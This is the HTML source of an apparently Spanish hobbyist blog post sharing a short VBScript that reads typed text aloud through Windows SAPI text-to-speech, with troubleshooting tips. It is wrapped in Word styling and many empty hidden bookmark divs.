{font-family:"\@SimSun"; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 680460288 22 0 262145 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:SimSun;} @page Section1 	{size:612.0pt 792.0pt; 	margin:70.85pt 3.0cm 70.85pt 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link rel="File-List" href="file:///C:%5CUsers%5CGuill3%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:SimSun; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-alt:宋体; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 680460288 22 0 262145 0;} @font-face 	{font-family:"\@SimSun"; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 680460288 22 0 262145 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:SimSun;} @page Section1 	{size:612.0pt 792.0pt; 	margin:70.85pt 3.0cm 70.85pt 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;Dim&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt; message&lt;b&gt;,&lt;/b&gt; sapi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;message&lt;b&gt;=&lt;/b&gt;InputBox&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;"¿Qué quieres que el programa lea?"&lt;/span&gt;&lt;b&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;,&lt;/span&gt;&lt;/b&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;"Speaker 1.0 [HackyBloggy]"&lt;/span&gt;&lt;b&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;)&lt;/span&gt;&lt;/b&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;Set&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt; sapi&lt;b&gt;=&lt;/b&gt;CreateObject&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;"sapi.spvoice"&lt;/span&gt;&lt;b&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;)&lt;/span&gt;&lt;/b&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="background: white none repeat scroll 0% 0%; font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;sapi.Speak message&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;&lt;br /&gt;Abre el .vbs, da a enter y el programa lo leerá (con acento americano, claro).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SI NO FUNCIONA:&lt;/span&gt;&lt;br /&gt;1. Tu PC no reconoce las ". Borra todas las " que hay.&lt;br /&gt;2. No tienes SAPI instalada (posiblemente si tu Windows es pirata):&lt;br /&gt;1a. &lt;a href="http://www.blogger.com/post-edit.g?blogID=6931281392920310751&amp;amp;postID=1388149353785226907"&gt;http://www.archivos-dll.es/sapi.dll,3664&lt;/a&gt;&lt;br /&gt;1b. &lt;a href="http://www.blogger.com/post-edit.g?blogID=6931281392920310751&amp;amp;postID=1388149353785226907"&gt;http://www.softonic.com/s/sapi&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;div style="visibility: hidden;" title="1236461388089" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388095" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388176" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388177" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388178" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388179" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388180" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388182" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388184" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388185" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388186" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388187" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388188" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388190" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388692" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388694" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388695" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388696" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388697" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388698" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388699" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388700" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388701" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461388702" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461526421" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461526427" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461526429" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461526446" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461526570" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461526572" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578120" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578122" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578314" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578316" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578317" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578319" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578321" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578325" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578328" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578329" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578330" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578332" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578333" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461578334" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461587079" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461587270" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461599973" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236461600254" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760738" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760740" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760930" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760931" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760934" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760935" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760936" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760937" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760938" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760940" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760942" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760943" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760944" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462760945" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798694" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798696" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798868" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798872" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798874" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798875" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798876" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798877" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798880" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798882" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798883" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798884" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798888" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236462798889" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463230748" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463230751" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463230752" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463230991" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231099" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231100" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231104" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231106" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231107" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231108" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231109" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231111" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231112" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231113" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231115" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231402" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231404" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231405" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231407" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231408" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231411" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231412" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231413" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231415" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231416" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231420" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463231421" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246535" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246536" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246699" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246701" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246702" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246703" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246705" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246706" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246707" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246709" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246710" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246711" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246712" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463246713" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463262955" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463262957" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263127" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263128" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263130" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263132" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263133" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263134" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263135" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263136" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263136" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263138" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263140" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463263141" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463267989" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463267991" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268614" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268615" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268616" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268618" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268619" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268620" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268621" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268622" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268623" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268624" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268625" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463268627" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463314841" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463314844" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315026" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315028" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315029" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315030" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315032" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315036" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315037" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315038" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315039" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315040" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315042" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463315043" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346479" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346483" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346640" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346642" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346643" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346644" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346646" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346647" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346647" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346648" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346651" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346652" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346653" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463346654" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365350" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365352" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365529" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365532" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365533" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365534" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365536" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365537" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365540" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365541" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365542" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365544" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365545" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463365548" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404391" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404393" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404571" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404572" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404575" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404576" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404578" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236463404579" 